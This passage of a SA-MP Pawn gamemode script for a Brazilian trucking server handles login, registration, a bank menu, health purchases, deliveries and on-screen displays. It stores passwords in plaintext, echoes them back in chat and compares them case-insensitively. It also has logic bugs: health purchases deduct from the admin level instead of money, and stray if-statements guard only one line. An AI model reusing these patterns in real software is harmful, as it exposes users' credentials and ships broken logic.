    TogglePlayerControllable(playerid, true);
1471
    TextDrawHideForPlayer(playerid,PlayerText[playerid][Car1]);
1472
	TextDrawSetString(PlayerText[playerid][Car2], "");
1473
    TextDrawShowForPlayer(playerid, PlayerText[playerid][Car2]);
1474
    TextDrawSetString(PlayerText[playerid][Car3], "");
1475
    TextDrawShowForPlayer(playerid, PlayerText[playerid][Car3]);
1476
    return true;
1477
}
1478
1479
public OnPlayerLeaveCheckpoint(playerid)
1480
{
1481
	return 1;
1482
}
1483
1484
public OnPlayerEnterRaceCheckpoint(playerid)
1485
{
1486
	return 1;
1487
}
1488
1489
public OnPlayerLeaveRaceCheckpoint(playerid)
1490
{
1491
	return 1;
1492
}
1493
1494
public OnRconCommand(cmd[])
1495
{
1496
	return 1;
1497
}
1498
1499
public OnPlayerRequestSpawn(playerid)
1500
{
1501
    GetPlayerName(playerid, DName, sizeof(DName));
1502
	if(PlayerInfo[playerid][pLogado] == false)return Kick(playerid);
1503
    format(Don,sizeof(Don),"O jogador %s entrou no servidor como %s.", DName, NomeClasse[PlayerInfo[playerid][pClass]]);
1504
    SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
1505
    PlayerInfo[playerid][Spawn] = true;
1506
	return 1;
1507
}
1508
1509
public OnObjectMoved(objectid)
1510
{
1511
	return 1;
1512
}
1513
1514
public OnPlayerObjectMoved(playerid, objectid)
1515
{
1516
	return 1;
1517
}
1518
1519
public OnPlayerPickUpPickup(playerid, pickupid)
1520
{
1521
	return 1;
1522
}
1523
1524
public OnVehicleMod(playerid, vehicleid, componentid)
1525
{
1526
	return 1;
1527
}
1528
1529
public OnVehiclePaintjob(playerid, vehicleid, paintjobid)
1530
{
1531
	return 1;
1532
}
1533
1534
public OnVehicleRespray(playerid, vehicleid, color1, color2)
1535
{
1536
	return 1;
1537
}
1538
1539
public OnPlayerSelectedMenuRow(playerid, row)
1540
{
1541
	return 1;
1542
}
1543
1544
public OnPlayerExitedMenu(playerid)
1545
{
1546
	return 1;
1547
}
1548
1549
public OnPlayerInteriorChange(playerid, newinteriorid, oldinteriorid)
1550
{
1551
	return 1;
1552
}
1553
1554
public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
1555
{
1556
    if (newkeys == 16 || oldkeys == 16)
1557
    {
1558
         for(new x = 1; x < MAX_MENU; x++)
1559
         {
1560
              format(Donarquivo, sizeof(Donarquivo),  MENUSALVO, x);
1561
              if(DOF2_FileExists(Donarquivo))
1562
              {
1563
                  if(IsPlayerInRangeOfPoint(playerid, 4.0, DOF2_GetFloat(Donarquivo, "X"), DOF2_GetFloat(Donarquivo, "Y"), DOF2_GetFloat(Donarquivo, "Z")))
1564
                  {
1565
                      ShowPlayerDialog(playerid, DIALOG_PMENU, DIALOG_STYLE_LIST, "Ponto-Menu", "Comprar Licencas\nAcessar Banco\nComprar Vida", "Continuar", "Cancelar");
1566
			      }
1567
	          }
1568
		 }
1569
	}
1570
	return 1;
1571
}
1572
1573
public OnRconLoginAttempt(ip[], password[], success)
1574
{
1575
	return 1;
1576
}
1577
1578
public OnPlayerUpdate(playerid)
1579
{
1580
    AlertaRe(playerid);
1581
    IsVehicleDrivingBackwards(GetPlayerVehicleID(playerid));
1582
	return 1;
1583
}
1584
1585
public OnPlayerStreamIn(playerid, forplayerid)
1586
{
1587
	return 1;
1588
}
1589
1590
public OnPlayerStreamOut(playerid, forplayerid)
1591
{
1592
	return 1;
1593
}
1594
1595
public OnVehicleStreamIn(vehicleid, forplayerid)
1596
{
1597
	return 1;
1598
}
1599
1600
public OnVehicleStreamOut(vehicleid, forplayerid)
1601
{
1602
	return 1;
1603
}
1604
1605
public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
1606
{
1607
	if(dialogid == DIALOG_LOGIN)
1608
	{
1609
         if(!response)return Kick(playerid);
1610
1611
		 GetPlayerName(playerid, DName, sizeof(DName));
1612
         format(Donarquivo, sizeof(Donarquivo),  LOCALSALVO, DName);
1613
         if(strcmp(DOF2_GetString(Donarquivo,"Senha"), inputtext, true))
1614
         {
1615
               PlayerInfo[playerid][pErrou] ++;
1616
			   if(PlayerInfo[playerid][pErrou] == 5)return SendClientMessage(playerid, -1,"[ERRO] Errou 5 vezes a senha e foi kickado."), Kick(playerid);
1617
               format(Don,sizeof(Don),"{FF0000}Senha ERRADA [Tentativas: %d/5]{FFFFFF}\r\r\r\rOlá Sr. {00FF00}%s{FFFFFF}\n\n\rDigite sua senha para efetuar o login.", PlayerInfo[playerid][pErrou], DName);
1618
               ShowPlayerDialog(playerid, DIALOG_LOGIN, DIALOG_STYLE_PASSWORD, "Logar", Don, "Logar", "Cancelar");
1619
         }
1620
         else
1621
         {
1622
			   CarregarConta(playerid);
1623
			   CarregarVip(playerid);
1624
               PlayerInfo[playerid][pLogado] = true;
1625
               
1626
               SetTimerEx("Ondesta", 1000, true, "i", playerid);
1627
               SetTimerEx("atualizarinf", 100, true, "i", playerid);
1628
               
1629
               TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf]);
1630
               TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf9]);
1631
               TextDrawShowForPlayer(playerid, PlayerText[playerid][BInf10]);
1632
               
1633
               GetPlayerName(playerid, DName, sizeof(DName));
1634
               format(Donarquivo, sizeof(Donarquivo),  BANSALVO, DName);
1635
               if(DOF2_FileExists(Donarquivo))
1636
               {
1637
                    if(gettime() >= DOF2_GetInt(Donarquivo, "Dias"))
1638
			        {
1639
                        SendClientMessage(playerid, -1, "{00F00F}[Aviso]{FFFFFF} Seu ban acabou");
1640
                        DOF2_RemoveFile(Donarquivo);
1641
                    }
1642
                    format(Don,sizeof(Don),"\r\rVocê esta banido\nDias restantes: %d\nAdmin que baniu:%s\nMotivo:%s",DOF2_GetInt(Donarquivo,"Dias"),DOF2_GetString(Donarquivo, "Quembaniu"),DOF2_GetString(Donarquivo, "Motivo"));
1643
                    ShowPlayerDialog(playerid, DIALOG_BAN, DIALOG_STYLE_MSGBOX, "BAN", Don, "OK", "");
1644
                    Kick(playerid);
1645
			   }
1646
               format(Donarquivo, sizeof(Donarquivo),  VIPSALVO, DName);
1647
               if(DOF2_FileExists(Donarquivo))
1648
               {
1649
                    if(gettime() >= DOF2_GetInt(Donarquivo, "Dias"))
1650
			        {
1651
                          DOF2_SetInt(Donarquivo, "Nivel", 0);
1652
                          DOF2_SetInt(Donarquivo, "Dias", 0);
1653
                          DOF2_SaveFile();
1654
                          SendClientMessage(playerid, -1, "{00F00F}[Aviso]{FFFFFF} Seu vip expirou ou você não tinha vip!");
1655
                          DOF2_RemoveFile(Donarquivo);
1656
                    }
1657
                    VipInfo[playerid][vDias] = DOF2_GetInt(Donarquivo, "Dias");
1658
                    VipInfo[playerid][vLevel] = DOF2_GetInt(Donarquivo, "Nivel");
1659
                    Vips++;
1660
                    JogadoresOn++;
1661
			  }
1662
         }
1663
	}
1664
	if(dialogid == DIALOG_REGISTRO)
1665
	{
1666
		 if(!response)return Kick(playerid);
1667
		 
1668
		 GetPlayerName(playerid, DName, sizeof(DName));
1669
         format(Donarquivo, sizeof(Donarquivo),  LOCALSALVO, DName);
1670
         DOF2_CreateFile(Donarquivo);
1671
         DOF2_SetString(Donarquivo, "Senha", inputtext);
1672
         DOF2_SaveFile();
1673
         
1674
         format(Don,sizeof(Don),"{FFFFFF}\r\r\r\rOlá Sr. {00FF00}%s{FFFFFF}\n\n\rDigite sua senha para efetuar o login.", DName);
1675
         ShowPlayerDialog(playerid, DIALOG_LOGIN, DIALOG_STYLE_PASSWORD, "Logar", Don, "Logar", "Cancelar");
1676
         
1677
         SendClientMessage(playerid, -1, "{00F00F}[Aviso]{FFFFFF} Registro efetuado com sucesso!");
1678
	}
1679
	if(dialogid == DIALOG_MENU)
1680
	{
1681
         if(!response)return true;
1682
         switch(listitem)
1683
         {
1684
			 case 0:SalvarConta(playerid),SendClientMessage(playerid, -1,"{00F00F}[Aviso]{FFFFFF} Conta salva!");
1685
			 case 1:SalvarVip(playerid), SendClientMessage(playerid, -1,"{00F00F}[Aviso]{FFFFFF} Seu vip foi salva!");
1686
			 case 2:ShowPlayerDialog(playerid, DIALOG_CSENHA, DIALOG_STYLE_PASSWORD, "Mudar senha", "Digite sua nova senha!", "Continuar", "Cancelar");
1687
		 }
1688
	}
1689
	if(dialogid == DIALOG_MENU)
1690
	{
1691
	     if(!response)return true;
1692
         switch(listitem)
1693
         {
1694
			 case 0:
1695
			 {
1696
			 
1697
			 }
1698
		 }
1699
	}
1700
	if(dialogid == DIALOG_CSENHA)
1701
	{
1702
		if(!response)return true;
1703
		GetPlayerName(playerid, DName, sizeof(DName));
1704
        format(Donarquivo, sizeof(Donarquivo),  LOCALSALVO, DName);
1705
        DOF2_SetString(Donarquivo, "Senha", inputtext);
1706
        DOF2_SaveFile();
1707
        format(Don,sizeof(Don),"{00F00F}[Aviso]{FFFFFF} Senha alterada para {FF0000}'%s'{00F00F} [SUCESSO]",inputtext);
1708
        SendClientMessage(playerid, -1, Don);
1709
	}
1710
	if(dialogid == DIALOG_RULES)
1711
	{
1712
		if(!response)return true;
1713
		if(PlayerInfo[playerid][Regras] == false)
1714
		{
1715
              SendClientMessage(playerid, -1, "{00F00F}[Aviso]{FFFFFF} Entendeu as regras e ganhou um bonus :)");
1716
              SendClientMessage(playerid, -1, "{00F00F}[Aviso]{FFFFFF} [ 5 Score ] [ R$ 1000 ] ");
1717
              SendClientMessage(playerid, -1, "{00F00F}              Tenha um bom jogo! {FFFFFF}");
1718
              PlayerInfo[playerid][pScore] = 5;
1719
              PlayerInfo[playerid][pGrana] = 1000;
1720
              PlayerInfo[playerid][Regras] = true;
1721
              SalvarConta(playerid);
1722
		}
1723
	}
1724
	
1725
	if(dialogid == DIALOG_PMENU)
1726
	{
1727
		 if(!response)return true;
1728
		 switch(listitem)
1729
		 {
1730
			  case 0:
1731
			  {
1732
			  }//ShowPlayerDialog(playerid, DIALOG_PMENU, DIALOG_STYLE_LIST, "Ponto-Menu", "Comprar Licencas\nAcessar Banco\nComprar Vida\nComprarcolete", "Continuar", "Cancelar");
1733
			  case 1:
1734
			  {
1735
				   GetPlayerName(playerid, DName, sizeof(DName));
1736
                   format(Donarquivo, sizeof(Donarquivo),  BANCOSALVO , DName);
1737
                   if(!DOF2_FileExists(Donarquivo))
1738
                   {
1739
                          ShowPlayerDialog(playerid, DIALOG_PMENU1, DIALOG_STYLE_INPUT, "Banco Criar", "Digite uma senha para seu banco:", "Criar", "Cancelar");
1740
				   }
1741
				   else
1742
				   {
1743
                          ShowPlayerDialog(playerid, DIALOG_PMENU2, DIALOG_STYLE_INPUT, "Banco Logar", "Digite sua senha do banco:", "Logar", "Cancelar");
1744
				   }
1745
			  }
1746
			  case 2:
1747
			  {
1748
			       ShowPlayerDialog(playerid, DIALOG_PMENU3, DIALOG_STYLE_LIST, "Ponto-Menu", "- 10 HP R$ 100\n- 50 HP R$ 500\n- 100 HP R$ 1.000", "Comprar", "Cancelar");
1749
			  }
1750
		 }
1751
	}
1752
	if(dialogid == DIALOG_PMENU1)
1753
	{
1754
          if(!response)return true;
1755
          GetPlayerName(playerid, DName, sizeof(DName));
1756
          format(Donarquivo, sizeof(Donarquivo),  BANCOSALVO, DName);
1757
          if(!DOF2_FileExists(Donarquivo))DOF2_CreateFile(Donarquivo);
1758
          DOF2_SetString(Donarquivo, "Senha", inputtext);
1759
		  DOF2_SaveFile();
1760
1761
		  format(Don, sizeof(Don),"[Aviso] Você criou uma conta no banco central.[Senha: %s]", inputtext);
1762
          SendClientMessage(playerid, CorClasses[PlayerInfo[playerid][pClass]], Don);
1763
          
1764
          ShowPlayerDialog(playerid, DIALOG_PMENU2, DIALOG_STYLE_INPUT, "Banco Logar", "Digite sua senha do banco:", "Logar", "Cancelar");
1765
	}
1766
	if(dialogid == DIALOG_PMENU2)
1767
	{
1768
         if(!response)return true;
1769
	     GetPlayerName(playerid, DName, sizeof(DName));
1770
         format(Donarquivo, sizeof(Donarquivo),  BANCOSALVO, DName);
1771
         if(strcmp(DOF2_GetString(Donarquivo,"Senha"), inputtext, true))
1772
         {
1773
			  SendClientMessage(playerid, -1, "[Aviso] Você errou sua senha!");
1774
              ShowPlayerDialog(playerid, DIALOG_PMENU2, DIALOG_STYLE_INPUT, "Banco Logar", "Digite sua senha do banco:", "Logar", "Cancelar");
1775
		 }
1776
		 else
1777
		 {
1778
			  ShowPlayerDialog(playerid, DIALOG_BMENU, DIALOG_STYLE_LIST, "Banco", "Informações\nDepositar\nSacar", "Continuar", "Cancelar");
1779
		 }
1780
	}
1781
	if(dialogid == DIALOG_PMENU3)
1782
	{
1783
 	     if(!response)return true;
1784
		 switch(listitem)
1785
		 {
1786
			  case 0:
1787
			  {
1788
				   if(PlayerInfo[playerid][pGrana] < 100)return SendClientMessage(playerid, -1,"[Aviso] Você não tem grana suficiente.");
1789
				   new Float:Vida;GetPlayerHealth(playerid, Vida);
1790
                   SetPlayerHealth(playerid, Vida+10);
1791
                   PlayerInfo[playerid][pAdmin] -= 100;
1792
                   SendClientMessage(playerid, -1, "[Aviso] Compra efetuada com sucesso.");
1793
			  }
1794
			  case 1:
1795
			  {
1796
				   if(PlayerInfo[playerid][pGrana] < 500)return SendClientMessage(playerid, -1,"[Aviso] Você não tem grana suficiente.");
1797
                   new Float:Vida;GetPlayerHealth(playerid, Vida);
1798
                   SetPlayerHealth(playerid, Vida+50);
1799
                   PlayerInfo[playerid][pAdmin] -= 500;
1800
                   SendClientMessage(playerid, -1, "[Aviso] Compra efetuada com sucesso.");
1801
			  }
1802
			  case 2:
1803
			  {
1804
				   if(PlayerInfo[playerid][pGrana] < 1000)return SendClientMessage(playerid, -1,"[Aviso] Você não tem grana suficiente.");
1805
                   new Float:Vida;GetPlayerHealth(playerid, Vida);
1806
                   SetPlayerHealth(playerid, Vida+100);
1807
                   PlayerInfo[playerid][pAdmin] -= 1000;
1808
                   SendClientMessage(playerid, -1, "[Aviso] Compra efetuada com sucesso.");
1809
			  }
1810
		 }
1811
	}
1812
	if(dialogid == DIALOG_BMENU)
1813
	{
1814
		 if(!response)return true;
1815
		 switch(listitem)
1816
		 {
1817
			  case 0:
1818
			  {
1819
					format(Don,sizeof(Don),"\r\r\r\r\r\r\r\r\r\r\rR$ %d", PlayerInfo[playerid][pBanco]);
1820
			        ShowPlayerDialog(playerid, DIALOG_BMENU2, DIALOG_STYLE_MSGBOX, "Banco", Don , "Continuar", "");
1821
			  }
1822
			  case 1:ShowPlayerDialog(playerid, DIALOG_BMENU3, DIALOG_STYLE_INPUT, "Banco", "Digite a quantidade de dinheiro para deposito:", "Continuar", "Cancelar");
1823
			  case 2:ShowPlayerDialog(playerid, DIALOG_BMENU4, DIALOG_STYLE_INPUT, "Banco", "Digite a quantidade de dinheiro para saque:", "Continuar", "Cancelar");
1824
		 }
1825
	}
1826
	if(dialogid == DIALOG_BMENU2)
1827
	{
1828
		 if(!response)return true;
1829
         ShowPlayerDialog(playerid, DIALOG_BMENU, DIALOG_STYLE_LIST, "Banco", "Informações\nDepositar\nSacar", "Continuar", "Cancelar");
1830
	}
1831
	if(dialogid == DIALOG_BMENU3)
1832
	{
1833
	     if(!response)return ShowPlayerDialog(playerid, DIALOG_BMENU, DIALOG_STYLE_LIST, "Banco", "Informações\nDepositar\nSacar", "Continuar", "Cancelar");
1834
         if(!strval(inputtext)) return ShowPlayerDialog(playerid, DIALOG_BMENU3, DIALOG_STYLE_INPUT, "Banco", "So numeros!!!\n\n\nDigite a quantidade de dinheiro para deposito:", "Continuar", "Cancelar");
1835
         if(PlayerInfo[playerid][pGrana] < strval(inputtext))return SendClientMessage(playerid, -1, "[Aviso] Você não tem toda essa grama");
1836
		 if(strval(inputtext) < 0)return SendClientMessage(playerid, -1, "[Aviso] So numeros possitivos!");
1837
		 PlayerInfo[playerid][pGrana] -= strval(inputtext);
1838
		 PlayerInfo[playerid][pBanco] += strval(inputtext);
1839
		 format(Don, sizeof(Don),"[BANCO] Você depositou R$ %d , e agora possui no banco R$ %d",strval(inputtext),PlayerInfo[playerid][pBanco]);
1840
		 SendClientMessage(playerid,CorClasses[PlayerInfo[playerid][pClass]],Don);
1841
	}
1842
	if(dialogid == DIALOG_BMENU4)
1843
	{
1844
	     if(!response)return ShowPlayerDialog(playerid, DIALOG_BMENU, DIALOG_STYLE_LIST, "Banco", "Informações\nDepositar\nSacar", "Continuar", "Cancelar");
1845
         if(!strval(inputtext)) return ShowPlayerDialog(playerid, DIALOG_BMENU4, DIALOG_STYLE_INPUT, "Banco", "Digite a quantidade de dinheiro para saque:", "Continuar", "Cancelar");
1846
         if(PlayerInfo[playerid][pBanco] < strval(inputtext))return SendClientMessage(playerid, -1, "[Aviso] Você não tem toda essa grama");
1847
		 if(strval(inputtext) < 0)return SendClientMessage(playerid, -1, "[Aviso] So numeros possitivos!");
1848
		 PlayerInfo[playerid][pGrana] += strval(inputtext);
1849
		 PlayerInfo[playerid][pBanco] -= strval(inputtext);
1850
		 format(Don, sizeof(Don),"[BANCO] Você sacou R$ %d , e agora possui no banco R$ %d",strval(inputtext),PlayerInfo[playerid][pBanco]);
1851
		 SendClientMessage(playerid,CorClasses[PlayerInfo[playerid][pClass]],Don);
1852
	}
1853
	if(dialogid == DIALOG_WORK)
1854
	{
1855
		 switch(listitem)
1856
		 {
1857
			  case 0 .. 10:
1858
			  {
1859
				   if(PlayerInfo[playerid][pClass] == TEAM_TRUCK)
1860
				   {
1861
				         SetPlayerCheckpoint(playerid, Locais[listitem][X],Locais[listitem][Y],Locais[listitem][Z], 10.0);
1862
				         PlayerInfo[playerid][Trab] ++;
1863
				         PlayerInfo[playerid][EntregaX] = Locais[listitem][PX];
1864
				         PlayerInfo[playerid][EntregaY] = Locais[listitem][PY];
1865
				         PlayerInfo[playerid][EntregaZ] = Locais[listitem][PZ];
1866
				         format(Don, sizeof Don,"______~w~Leve a sua carga de ~r~%s~w~ para a empresa ~b~%s",Locais[listitem][Name],Locais[listitem][ParaName]);
1867
				         TextDrawSetString(PlayerText[playerid][Barrinha],Don);
1868
	                     TextDrawShowForPlayer(playerid, PlayerText[playerid][Barrinha]);
1869
			       }
1870
			  }
1871
		 }
1872
	}
1873
	return 1;
1874
}
1875
public OnVehicleDamageStatusUpdate(vehicleid, playerid)
1876
{
1877
	new Float:health;
1878
    GetVehicleHealth(vehicleid, health);
1879
    if(health <= 250)
1880
    {
1881
         SetVehicleHealth(vehicleid, 500);
1882
         new motor, farol, alarme, portas, capo, portamalas, objetivo;
1883
         GetVehicleParamsEx(vehicleid, motor, farol, alarme, portas, capo, portamalas, objetivo);
1884
         SetVehicleParamsEx(vehicleid, VEHICLE_PARAMS_OFF, farol, alarme, portas, VEHICLE_PARAMS_ON, portamalas,objetivo);
1885
         GameTextForPlayer(playerid, "~w~/reparar~n~/repararpneu~n~/virar", 3000, 3);
1886
         return true;
1887
    }
1888
	return true;
1889
}
1890
public OnPlayerClickPlayer(playerid, clickedplayerid, source)
1891
{
1892
	return 1;
1893
}
1894
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  Conta´s  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1895
forward SalvarConta(playerid);
1896
public SalvarConta(playerid)
1897
{
1898
	GetPlayerName(playerid, DName, sizeof(DName));
1899
    format(Donarquivo, sizeof(Donarquivo),  LOCALSALVO, DName);
1900
    if(!DOF2_FileExists(Donarquivo))
1901
    DOF2_SetInt (Donarquivo, "Admin",PlayerInfo[playerid][pAdmin]);
1902
    DOF2_SetInt (Donarquivo, "Grana",PlayerInfo[playerid][pGrana]);
1903
    DOF2_SetInt (Donarquivo, "Score",PlayerInfo[playerid][pScore]);
1904
    DOF2_SetInt (Donarquivo, "Logou",PlayerInfo[playerid][pLogou]);
1905
    DOF2_SetInt (Donarquivo, "Multas",PlayerInfo[playerid][pMulta]);
1906
    DOF2_SetBool(Donarquivo, "DRegras",PlayerInfo[playerid][Regras]);
1907
    
1908
    format(Donarquivo, sizeof(Donarquivo),  BANCOSALVO, DName);
1909
    DOF2_SetInt(Donarquivo, "Dinheiro", PlayerInfo[playerid][pBanco]);
1910
    
1911
    DOF2_SaveFile();
1912
    return true;
1913
}
1914
forward CarregarConta(playerid);
1915
public CarregarConta(playerid)
1916
{
1917
	GetPlayerName(playerid, DName, sizeof(DName));
1918
    format(Donarquivo, sizeof(Donarquivo),  LOCALSALVO, DName);
1919
    if(!DOF2_FileExists(Donarquivo))DOF2_CreateFile(Donarquivo);
1920
    PlayerInfo[playerid][pAdmin] = DOF2_GetInt(Donarquivo, "Admin");
1921
    PlayerInfo[playerid][pGrana] = DOF2_GetInt(Donarquivo, "Grana");
1922
    PlayerInfo[playerid][pScore] = DOF2_GetInt(Donarquivo, "Score");
1923
    PlayerInfo[playerid][pLogou] = DOF2_GetInt(Donarquivo, "Logou");
1924
    PlayerInfo[playerid][pMulta] = DOF2_GetInt(Donarquivo, "Multas");
1925
    PlayerInfo[playerid][Regras] = DOF2_GetBool(Donarquivo, "DRegras");
1926
	GivePlayerMoney(playerid, PlayerInfo[playerid][pGrana]);
1927
	SetPlayerScore(playerid, PlayerInfo[playerid][pScore]);
1928
	
1929
    format(Donarquivo, sizeof(Donarquivo),  BANCOSALVO, DName);
1930
    PlayerInfo[playerid][pBanco] = DOF2_GetInt(Donarquivo, "Dinheiro");
1931
    return true;
1932
}
1933
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  Vip´s  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1934
forward SalvarVip(playerid);
1935
public SalvarVip(playerid)
1936
{
1937
	GetPlayerName(playerid, DName, sizeof(DName));
1938
    format(Donarquivo, sizeof(Donarquivo),  VIPSALVO, DName);
1939
    if(!DOF2_FileExists(Donarquivo))
1940
    DOF2_SetInt(Donarquivo, "Nivel",VipInfo[playerid][vLevel]);
1941
    DOF2_SetInt(Donarquivo, "Dias",VipInfo[playerid][vDias]);
1942
    DOF2_SaveFile();
1943
    return true;
1944
}
1945
forward CarregarVip(playerid);
1946
public CarregarVip(playerid)
1947
{
1948
	GetPlayerName(playerid, DName, sizeof(DName));
1949
    format(Donarquivo, sizeof(Donarquivo),  VIPSALVO, DName);
1950
    if(!DOF2_FileExists(Donarquivo))DOF2_CreateFile(Donarquivo);
1951
    VipInfo[playerid][vLevel] = DOF2_GetInt(Donarquivo, "Nivel");
1952
    VipInfo[playerid][vDias] = DOF2_GetInt(Donarquivo, "Dias");
1953
    return true;
1954
}
1955
1956
forward TextDrawServidor(playerid);
1957
public TextDrawServidor(playerid)
1958
{
1959
	PlayerText[playerid][Local] = TextDrawCreate(51.000000, 329.000000, "");
1960
	TextDrawBackgroundColor(PlayerText[playerid][Local], 65535);
1961
	TextDrawFont(PlayerText[playerid][Local], 1);
1962
	TextDrawLetterSize(PlayerText[playerid][Local], 0.390000, 1.000000);
1963
	TextDrawColor(PlayerText[playerid][Local], -1);
1964
	TextDrawSetOutline(PlayerText[playerid][Local], 1);
1965
	TextDrawSetProportional(PlayerText[playerid][Local], 1);
1966
	TextDrawSetSelectable(PlayerText[playerid][Local], 0);
1967
	
1968
	PlayerText[playerid][Barrinha] = TextDrawCreate(138.000000, 434.000000, "");
1969
	TextDrawBackgroundColor(PlayerText[playerid][Barrinha], 255);
1970
	TextDrawFont(PlayerText[playerid][Barrinha], 2);
1971
	TextDrawLetterSize(PlayerText[playerid][Barrinha], 0.270000, 1.100000);
1972
	TextDrawColor(PlayerText[playerid][Barrinha], -1);
1973
	TextDrawSetOutline(PlayerText[playerid][Barrinha], 0);
1974
	TextDrawSetProportional(PlayerText[playerid][Barrinha], 1);
1975
	TextDrawSetShadow(PlayerText[playerid][Barrinha], 1);
1976
	TextDrawSetSelectable(PlayerText[playerid][Barrinha], 0);
1977
	
1978
	PlayerText[playerid][Barrinha2] = TextDrawCreate(0.000000, 433.000000, " ~n~ ~n~");
1979
	TextDrawBackgroundColor(PlayerText[playerid][Barrinha2], 255);
1980
	TextDrawFont(PlayerText[playerid][Barrinha2], 1);
1981
	TextDrawLetterSize(PlayerText[playerid][Barrinha2], 0.500000, 1.400000);
1982
	TextDrawColor(PlayerText[playerid][Barrinha2], -1);
1983
	TextDrawSetOutline(PlayerText[playerid][Barrinha2], 0);
1984
	TextDrawSetProportional(PlayerText[playerid][Barrinha2], 1);
1985
	TextDrawSetShadow(PlayerText[playerid][Barrinha2], 1);
1986
	TextDrawUseBox(PlayerText[playerid][Barrinha2], 1);
1987
	TextDrawBoxColor(PlayerText[playerid][Barrinha2], 65535);
1988
	TextDrawTextSize(PlayerText[playerid][Barrinha2], 640.000000, 0.000000);
1989
	TextDrawSetSelectable(PlayerText[playerid][Barrinha2], 0);
1990
1991
    PlayerText[playerid][Logo0] = TextDrawCreate(534.000000, 419.000000, " ");
1992
	TextDrawBackgroundColor(PlayerText[playerid][Logo0], 255);
1993
	TextDrawFont(PlayerText[playerid][Logo0], 2);
1994
	TextDrawLetterSize(PlayerText[playerid][Logo0], 0.209999, 1.200000);
1995
	TextDrawColor(PlayerText[playerid][Logo0], -1);
1996
	TextDrawSetOutline(PlayerText[playerid][Logo0], 0);
1997
	TextDrawSetProportional(PlayerText[playerid][Logo0], 1);
1998
	TextDrawSetShadow(PlayerText[playerid][Logo0], 1);
1999
	TextDrawSetSelectable(PlayerText[playerid][Logo0], 0);
2000
2001
    PlayerText[playerid][Logo1] = TextDrawCreate(518.000000, 408.000000, "");
2002
	TextDrawBackgroundColor(PlayerText[playerid][Logo1], 255);
2003
	TextDrawFont(PlayerText[playerid][Logo1], 2);
2004
	TextDrawLetterSize(PlayerText[playerid][Logo1], 0.209999, 1.200000);
2005
	TextDrawColor(PlayerText[playerid][Logo1], -1);
2006
	TextDrawSetOutline(PlayerText[playerid][Logo1], 0);
2007
	TextDrawSetProportional(PlayerText[playerid][Logo1], 1);
2008
	TextDrawSetShadow(PlayerText[playerid][Logo1], 1);
2009
	TextDrawSetSelectable(PlayerText[playerid][Logo1], 0);
2010
	
2011
	PlayerText[playerid][Logo2] = TextDrawCreate(484.000000, 399.000000, "vivacaminhoneiro.com.br/forum");
2012
	TextDrawBackgroundColor(PlayerText[playerid][Logo2], 255);
2013
	TextDrawFont(PlayerText[playerid][Logo2], 2);
2014
	TextDrawLetterSize(PlayerText[playerid][Logo2], 0.209999, 1.200000);
2015
	TextDrawColor(PlayerText[playerid][Logo2], -1);
2016
	TextDrawSetOutline(PlayerText[playerid][Logo2], 0);
2017
	TextDrawSetProportional(PlayerText[playerid][Logo2], 1);
2018
	TextDrawSetShadow(PlayerText[playerid][Logo2], 1);
2019
	TextDrawSetSelectable(PlayerText[playerid][Logo2], 0);
2020
	
2021
	PlayerText[playerid][Logo3] = TextDrawCreate(502.000000, 381.000000, "~g~Viva ~b~Caminhoneiro");
2022
	TextDrawBackgroundColor(PlayerText[playerid][Logo3], 255);
2023
	TextDrawFont(PlayerText[playerid][Logo3], 2);
2024
	TextDrawLetterSize(PlayerText[playerid][Logo3], 0.239999, 2.200000);
2025
	TextDrawColor(PlayerText[playerid][Logo3], -1);
2026
	TextDrawSetOutline(PlayerText[playerid][Logo3], 0);
2027
	TextDrawSetProportional(PlayerText[playerid][Logo3], 1);
2028
	TextDrawSetShadow(PlayerText[playerid][Logo3], 1);
2029
	TextDrawSetSelectable(PlayerText[playerid][Logo3], 0);
2030
	
2031
	// Informaçoes do player
2032
    PlayerText[playerid][BInf] = TextDrawCreate(483.000000, 2.000000, "_");
2033
	TextDrawBackgroundColor(PlayerText[playerid][BInf], 255);
2034
	TextDrawFont(PlayerText[playerid][BInf], 1);
2035
	TextDrawLetterSize(PlayerText[playerid][BInf], 0.500000, 12.100000);
2036
	TextDrawColor(PlayerText[playerid][BInf], -1);
2037
	TextDrawSetOutline(PlayerText[playerid][BInf], 0);
2038
	TextDrawSetProportional(PlayerText[playerid][BInf], 1);
2039
	TextDrawSetShadow(PlayerText[playerid][BInf], 1);
2040
	TextDrawUseBox(PlayerText[playerid][BInf], 1);
2041
	TextDrawBoxColor(PlayerText[playerid][BInf], 65535);
2042
	TextDrawTextSize(PlayerText[playerid][BInf], 643.000000, 0.000000);
2043
	TextDrawSetSelectable(PlayerText[playerid][BInf], 0);
2044
	
2045
    PlayerText[playerid][BInf2] = TextDrawCreate(490.000000, 37.000000, " ");// Dinheiro EX: Dinheiro R$ 10000
2046
	TextDrawBackgroundColor(PlayerText[playerid][BInf2], 255);
2047
	TextDrawFont(PlayerText[playerid][BInf2], 2);
2048
	TextDrawLetterSize(PlayerText[playerid][BInf2], 0.190000, 1.000000);
2049
	TextDrawColor(PlayerText[playerid][BInf2], -1);
2050
	TextDrawSetOutline(PlayerText[playerid][BInf2], 0);
2051
	TextDrawSetProportional(PlayerText[playerid][BInf2], 1);
2052
	TextDrawSetShadow(PlayerText[playerid][BInf2], 1);
2053
	TextDrawSetSelectable(PlayerText[playerid][BInf2], 0);
2054
	
2055
    PlayerText[playerid][BInf3] = TextDrawCreate(490.000000, 50.000000, " ");// Score EX: Score 200
2056
	TextDrawBackgroundColor(PlayerText[playerid][BInf3], 255);
2057
	TextDrawFont(PlayerText[playerid][BInf3], 2);
2058
	TextDrawLetterSize(PlayerText[playerid][BInf3], 0.190000, 1.000000);
2059
	TextDrawColor(PlayerText[playerid][BInf3], -1);
2060
	TextDrawSetOutline(PlayerText[playerid][BInf3], 0);
2061
	TextDrawSetProportional(PlayerText[playerid][BInf3], 1);
2062
	TextDrawSetShadow(PlayerText[playerid][BInf3], 1);
2063
	TextDrawSetSelectable(PlayerText[playerid][BInf3], 0);
2064
	
2065
